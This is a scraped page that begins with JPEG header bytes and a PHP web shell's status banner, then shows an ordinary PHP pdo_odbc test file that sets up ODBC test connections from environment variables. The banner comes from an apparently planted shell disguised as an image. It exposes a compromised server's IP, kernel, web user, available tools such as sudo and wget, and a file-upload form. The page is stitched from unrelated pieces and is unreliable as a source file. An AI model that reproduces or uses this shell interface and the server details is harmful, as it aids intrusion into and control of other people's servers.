????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.217 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/pdo_odbc/tests/ |
Upload File : |
--TEST--
ODBC
--SKIPIF--
<?php # vim:ft=php
if (!extension_loaded('pdo_odbc')) print 'skip';
if (substr(PHP_OS, 0, 3) == 'WIN' &&
false === getenv('PDOTEST_DSN') &&
false === getenv('PDO_ODBC_TEST_DSN') &&
!extension_loaded('com_dotnet')) {
die('skip - either PDOTEST_DSN or com_dotnet extension is needed to setup the connection');
}
--REDIRECTTEST--
# magic auto-configuration
$config = array(
'TESTS' => 'ext/pdo/tests',
'ENV' => array()
);
// try loading PDO driver using ENV vars and if none given, and on Windows, try using MS Access
// and if not, skip the test
//
// try to use common PDO env vars, instead of PDO_ODBC specific
if (false !== getenv('PDOTEST_DSN')) {
// user should have to set PDOTEST_DSN so that:
// 1. test is skipped if user doesn't want to test it, even if they have MS Access installed
// 2. it detects if ODBC driver is not installed - to avoid test bug
// 3. it detects if ODBC driver is installed - so test will be run
// 4. so a specific ODBC driver can be tested - if system has multiple ODBC drivers
$config['ENV']['PDOTEST_DSN'] = getenv('PDOTEST_DSN');
$config['ENV']['PDOTEST_USER'] = getenv('PDOTEST_USER');
$config['ENV']['PDOTEST_PASS'] = getenv('PDOTEST_PASS');
if (false !== getenv('PDOTEST_ATTR')) {
$config['ENV']['PDOTEST_ATTR'] = getenv('PDOTEST_ATTR');
}
} else if (false !== getenv('PDO_ODBC_TEST_DSN')) {
// user set these from their shell instead
$config['ENV']['PDOTEST_DSN'] = getenv('PDO_ODBC_TEST_DSN');
$config['ENV']['PDOTEST_USER'] = getenv('PDO_ODBC_TEST_USER');
$config['ENV']['PDOTEST_PASS'] = getenv('PDO_ODBC_TEST_PASS');
if (false !== getenv('PDO_ODBC_TEST_ATTR')) {
$config['ENV']['PDOTEST_ATTR'] = getenv('PDO_ODBC_TEST_ATTR');
}
} elseif (preg_match('/^WIN/i', PHP_OS)) {
// on Windows and user didn't set PDOTEST_DSN, try this as a fallback:
// check if MS Access DB is installed, and if yes, try using it. create a temporary MS access database.
//
$path = realpath(dirname(__FILE__)) . '\pdo_odbc.mdb';
if (!file_exists($path)) {
try {
// try to create database
$adox = new COM('ADOX.Catalog');
$adox->Create('Provider=Microsoft.Jet.OLEDB.4.0;Data Source=' . $path);
$adox = null;
} catch (Exception $e) {
}
}
if (file_exists($path)) {
// database was created and written to file system
$config['ENV']['PDOTEST_DSN'] = "odbc:Driver={Microsoft Access Driver (*.mdb)};Dbq=$path;Uid=Admin";
} // else: $config['ENV']['PDOTEST_DSN'] not set
} // else: $config['ENV']['PDOTEST_DSN'] not set
// test will be skipped. see SKIPIF section of long_columns.phpt
# other magic autodetection here, eg: for DB2 by inspecting env
/*
$USER = 'db2inst1';
$PASSWD = 'ibmdb2';
$DBNAME = 'SAMPLE';
$CONNECTION = "odbc:DSN=$DBNAME;UID=$USER;PWD=$PASSWD;";
*/
return $config;